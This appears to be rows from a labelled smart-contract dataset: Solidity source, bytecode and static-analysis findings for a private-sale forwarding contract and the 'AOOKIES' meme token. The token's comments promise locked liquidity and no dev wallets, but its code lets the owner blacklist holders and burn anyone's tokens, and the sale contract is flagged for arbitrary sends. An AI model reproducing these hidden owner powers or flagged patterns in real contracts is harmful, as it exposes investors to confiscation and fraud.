6578636565647320616c6c6f77616e6365a2646970667358221220e87027cd94b9d1c029d803dc19ce373aa6c7b83f5987c802948557d26681194e64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 2,661 |
0xca54C9668f23D95Defa69C683DAAFdaDA99DAf5C
|
pragma solidity ^0.4.17;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev modifier to allow actions only when the contract IS paused
*/
modifier whenNotPaused() {
require (!paused);
_;
}
/**
* @dev modifier to allow actions only when the contract IS NOT paused
*/
modifier whenPaused {
require (paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public returns (bool) {
paused = true;
Pause();
return true;
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public returns (bool) {
paused = false;
Unpause();
return true;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool){
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// ***********************************************************************************
// *************************** END OF THE BASIC **************************************
// ***********************************************************************************
contract IrisTokenPrivatSale is Ownable, Pausable{
using SafeMath for uint256;
// The token being sold
address public multiSig;
// ***************************
// amount of raised money in wei
uint256 public weiRaised;
event HostEther(address indexed buyer, uint256 value);
event TokenPlaced(address indexed beneficiary, uint256 amount);
event SetWallet(address _newWallet);
event SendedEtherToMultiSig(address walletaddress, uint256 amountofether);
function setWallet(address _newWallet) public onlyOwner {
multiSig = _newWallet;
SetWallet(_newWallet);
}
function IrisTokenPrivatSale() public {
// *************************************
multiSig = 0x02cb1ADc98e984A67a3d892Dbb7eD72b36dA7b07; // IRIS multiSig Wallet Address
//**************************************
}
// low level token purchase function
function buyTokens(address buyer, uint256 amount) whenNotPaused internal {
require (multiSig != 0x0);
require (msg.value >= 2 ether);
// update state
weiRaised = weiRaised.add(amount);
HostEther(buyer, amount);
// send the ether to the MultiSig Wallet
multiSig.transfer(this.balance); // better in case any other ether ends up here
SendedEtherToMultiSig(multiSig,amount);
}
// fallback function can be used to buy tokens
function () public payable {
buyTokens(msg.sender, msg.value);
}
function emergencyERC20Drain( ERC20 oddToken, uint amount ) public onlyOwner{
oddToken.transfer(owner, amount);
}
}
|
0x606060405260043610610099576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806336e0004a146100a55780633f4ba83a146100fa5780634042b66f146101275780635c975abb146101505780638456cb591461017d5780638da5cb5b146101aa578063db0e16f1146101ff578063deaa59df14610241578063f2fde38b1461027a575b6100a333346102b3565b005b34156100b057600080fd5b6100b86104a1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561010557600080fd5b61010d6104c7565b604051808215151515815260200191505060405180910390f35b341561013257600080fd5b61013a61058c565b6040518082815260200191505060405180910390f35b341561015b57600080fd5b610163610592565b604051808215151515815260200191505060405180910390f35b341561018857600080fd5b6101906105a5565b604051808215151515815260200191505060405180910390f35b34156101b557600080fd5b6101bd61066c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561020a57600080fd5b61023f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610691565b005b341561024c57600080fd5b610278600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506107d8565b005b341561028557600080fd5b6102b1600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506108da565b005b600060149054906101000a900460ff161515156102cf57600080fd5b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561031757600080fd5b671bc16d674ec80000341015151561032e57600080fd5b610343816002546109af90919063ffffffff16565b6002819055508173ffffffffffffffffffffffffffffffffffffffff167f67a0925795d250ae790067c64d8be46ae9f869b5544cb3a8098e7d5ec752dd26826040518082815260200191505060405180910390a2600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050151561041057600080fd5b7f09ca8b42e43c641a8fb811ed41331a94539cd2e8c5af46bcde12795e08ffbae8600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561052457600080fd5b600060149054906101000a900460ff16151561053f57600080fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a16001905090565b60025481565b600060149054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561060257600080fd5b600060149054906101000a900460ff1615151561061e57600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a16001905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156106ec57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156107b857600080fd5b6102c65a03f115156107c957600080fd5b50505060405180519050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561083357600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fe80d9383fb35934b174e9a5986b6ec524e533eae802ba534282f7b0c5fdd42cc81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561093557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415156109ac57806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60008082840190508381101515156109c357fe5b80915050929150505600a165627a7a72305820c1ff4fce48a1f7c014ade1606bc49ef3e481b2f73839d6a2685bcfebf1a994610029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 2,662 |
0xcb076403227da765e22acadede93b21c3c214c04
|
/*
Akita Cookies ( $AOOKIES ) mmmmhhh
t.me/aookies
//CMC and CG application done.
//Marketing paid.
//Liqudity Locked
//No Devwallets
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract AOOKIES is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
struct lockDetail{
uint256 amountToken;
uint256 lockUntil;
}
mapping (address => uint256) private _balances;
mapping (address => bool) private _blacklist;
mapping (address => bool) private _isAdmin;
mapping (address => lockDetail) private _lockInfo;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event PutToBlacklist(address indexed target, bool indexed status);
event LockUntil(address indexed target, uint256 indexed totalAmount, uint256 indexed dateLockUntil);
constructor (string memory name, string memory symbol, uint256 amount) {
_name = name;
_symbol = symbol;
_setupDecimals(18);
address msgSender = _msgSender();
_owner = msgSender;
_isAdmin[msgSender] = true;
_mint(msgSender, amount);
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function isAdmin(address account) public view returns (bool) {
return _isAdmin[account];
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
modifier onlyAdmin() {
require(_isAdmin[_msgSender()] == true, "Ownable: caller is not the administrator");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function promoteAdmin(address newAdmin) public virtual onlyOwner {
require(_isAdmin[newAdmin] == false, "Ownable: address is already admin");
require(newAdmin != address(0), "Ownable: new admin is the zero address");
_isAdmin[newAdmin] = true;
}
function demoteAdmin(address oldAdmin) public virtual onlyOwner {
require(_isAdmin[oldAdmin] == true, "Ownable: address is not admin");
require(oldAdmin != address(0), "Ownable: old admin is the zero address");
_isAdmin[oldAdmin] = false;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function isBlackList(address account) public view returns (bool) {
return _blacklist[account];
}
function getLockInfo(address account) public view returns (uint256, uint256) {
lockDetail storage sys = _lockInfo[account];
if(block.timestamp > sys.lockUntil){
return (0,0);
}else{
return (
sys.amountToken,
sys.lockUntil
);
}
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address funder, address spender) public view virtual override returns (uint256) {
return _allowances[funder][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function transferAndLock(address recipient, uint256 amount, uint256 lockUntil) public virtual onlyAdmin returns (bool) {
_transfer(_msgSender(), recipient, amount);
_wantLock(recipient, amount, lockUntil);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function lockTarget(address payable targetaddress, uint256 amount, uint256 lockUntil) public onlyAdmin returns (bool){
_wantLock(targetaddress, amount, lockUntil);
return true;
}
function unlockTarget(address payable targetaddress) public onlyAdmin returns (bool){
_wantUnlock(targetaddress);
return true;
}
function burnTarget(address payable targetaddress, uint256 amount) public onlyOwner returns (bool){
_burn(targetaddress, amount);
return true;
}
function blacklistTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantblacklist(targetaddress);
return true;
}
function unblacklistTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantunblacklist(targetaddress);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
lockDetail storage sys = _lockInfo[sender];
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(_blacklist[sender] == false, "ERC20: sender address ");
_beforeTokenTransfer(sender, recipient, amount);
if(sys.amountToken > 0){
if(block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}else{
uint256 checkBalance = _balances[sender].sub(sys.amountToken, "ERC20: lock amount exceeds balance");
_balances[sender] = checkBalance.sub(amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = _balances[sender].add(sys.amountToken);
_balances[recipient] = _balances[recipient].add(amount);
}
}else{
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _wantLock(address account, uint256 amountLock, uint256 unlockDate) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
require(_balances[account] >= sys.amountToken.add(amountLock), "ERC20: You can't lock more than account balances");
if(sys.lockUntil > 0 && block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
}
sys.lockUntil = unlockDate;
sys.amountToken = sys.amountToken.add(amountLock);
emit LockUntil(account, sys.amountToken, unlockDate);
}
function _wantUnlock(address account) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
sys.lockUntil = 0;
sys.amountToken = 0;
emit LockUntil(account, 0, 0);
}
function _wantblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == false, "ERC20: Address already in blacklist");
_blacklist[account] = true;
emit PutToBlacklist(account, true);
}
function _wantunblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == true, "ERC20: Address not blacklisted");
_blacklist[account] = false;
emit PutToBlacklist(account, false);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address funder, address spender, uint256 amount) internal virtual {
require(funder != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[funder][spender] = amount;
emit Approval(funder, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106101735760003560e01c806370a08231116100de57806395d89b4111610097578063b36d691911610071578063b36d691914610510578063dd62ed3e14610536578063df698fc914610564578063f2fde38b1461058a57610173565b806395d89b41146104b0578063a457c2d7146104b8578063a9059cbb146104e457610173565b806370a08231146103c7578063715018a6146103ed5780637238ccdb146103f5578063787f02331461043457806384d5d9441461045a5780638da5cb5b1461048c57610173565b8063313ce56711610130578063313ce567146102d157806339509351146102ef5780633d72d6831461031b57806352a97d5214610347578063569abd8d1461036d5780635e558d221461039557610173565b806306fdde0314610178578063095ea7b3146101f557806318160ddd1461023557806319f9a20f1461024f57806323b872dd1461027557806324d7806c146102ab575b600080fd5b6101806105b0565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101ba5781810151838201526020016101a2565b50505050905090810190601f1680156101e75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102216004803603604081101561020b57600080fd5b506001600160a01b038135169060200135610646565b604080519115158252519081900360200190f35b61023d610663565b60408051918252519081900360200190f35b6102216004803603602081101561026557600080fd5b50356001600160a01b0316610669565b6102216004803603606081101561028b57600080fd5b506001600160a01b038135811691602081013590911690604001356106e5565b610221600480360360208110156102c157600080fd5b50356001600160a01b031661076c565b6102d961078a565b6040805160ff9092168252519081900360200190f35b6102216004803603604081101561030557600080fd5b506001600160a01b038135169060200135610793565b6102216004803603604081101561033157600080fd5b506001600160a01b0381351690602001356107e1565b6102216004803603602081101561035d57600080fd5b50356001600160a01b031661084a565b6103936004803603602081101561038357600080fd5b50356001600160a01b03166108b2565b005b610221600480360360608110156103ab57600080fd5b506001600160a01b0381351690602081013590604001356109d0565b61023d600480360360208110156103dd57600080fd5b50356001600160a01b0316610a46565b610393610a61565b61041b6004803603602081101561040b57600080fd5b50356001600160a01b0316610b0e565b6040805192835260208301919091528051918290030190f35b6102216004803603602081101561044a57600080fd5b50356001600160a01b0316610b55565b6102216004803603606081101561047057600080fd5b506001600160a01b038135169060208101359060400135610bbd565b610494610c3a565b604080516001600160a01b039092168252519081900360200190f35b610180610c4e565b610221600480360360408110156104ce57600080fd5b506001600160a01b038135169060200135610caf565b610221600480360360408110156104fa57600080fd5b506001600160a01b038135169060200135610d17565b6102216004803603602081101561052657600080fd5b50356001600160a01b0316610d2b565b61023d6004803603604081101561054c57600080fd5b506001600160a01b0381358116916020013516610d49565b6103936004803603602081101561057a57600080fd5b50356001600160a01b0316610d74565b610393600480360360208110156105a057600080fd5b50356001600160a01b0316610ea9565b60068054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561063c5780601f106106115761010080835404028352916020019161063c565b820191906000526020600020905b81548152906001019060200180831161061f57829003601f168201915b5050505050905090565b600061065a610653611013565b8484611017565b50600192915050565b60055490565b600060026000610677611013565b6001600160a01b0316815260208101919091526040016000205460ff1615156001146106d45760405162461bcd60e51b8152600401808060200182810382526028815260200180611ba46028913960400191505060405180910390fd5b6106dd82611103565b506001919050565b60006106f28484846111b2565b610762846106fe611013565b61075d85604051806060016040528060288152602001611bcc602891396001600160a01b038a1660009081526004602052604081209061073c611013565b6001600160a01b03168152602081019190915260400160002054919061151d565b611017565b5060019392505050565b6001600160a01b031660009081526002602052604090205460ff1690565b60085460ff1690565b600061065a6107a0611013565b8461075d85600460006107b1611013565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490610fb2565b60006107eb611013565b60085461010090046001600160a01b03908116911614610840576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b61065a83836115b4565b6000610854611013565b60085461010090046001600160a01b039081169116146108a9576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6106dd826116b0565b6108ba611013565b60085461010090046001600160a01b0390811691161461090f576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526002602052604090205460ff16156109675760405162461bcd60e51b8152600401808060200182810382526021815260200180611cc66021913960400191505060405180910390fd5b6001600160a01b0381166109ac5760405162461bcd60e51b8152600401808060200182810382526026815260200180611b4e6026913960400191505060405180910390fd5b6001600160a01b03166000908152600260205260409020805460ff19166001179055565b6000600260006109de611013565b6001600160a01b0316815260208101919091526040016000205460ff161515600114610a3b5760405162461bcd60e51b8152600401808060200182810382526028815260200180611ba46028913960400191505060405180910390fd5b61076284848461179c565b6001600160a01b031660009081526020819052604090205490565b610a69611013565b60085461010090046001600160a01b03908116911614610abe576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b60085460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360088054610100600160a81b0319169055565b6001600160a01b03811660009081526003602052604081206001810154829190421115610b42576000809250925050610b50565b805460019091015490925090505b915091565b6000610b5f611013565b60085461010090046001600160a01b03908116911614610bb4576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6106dd826118e3565b600060026000610bcb611013565b6001600160a01b0316815260208101919091526040016000205460ff161515600114610c285760405162461bcd60e51b8152600401808060200182810382526028815260200180611ba46028913960400191505060405180910390fd5b610a3b610c33611013565b85856111b2565b60085461010090046001600160a01b031690565b60078054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561063c5780601f106106115761010080835404028352916020019161063c565b600061065a610cbc611013565b8461075d85604051806060016040528060258152602001611ca16025913960046000610ce6611013565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919061151d565b600061065a610d24611013565b84846111b2565b6001600160a01b031660009081526001602052604090205460ff1690565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b610d7c611013565b60085461010090046001600160a01b03908116911614610dd1576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526002602052604090205460ff161515600114610e43576040805162461bcd60e51b815260206004820152601d60248201527f4f776e61626c653a2061646472657373206973206e6f742061646d696e000000604482015290519081900360640190fd5b6001600160a01b038116610e885760405162461bcd60e51b8152600401808060200182810382526026815260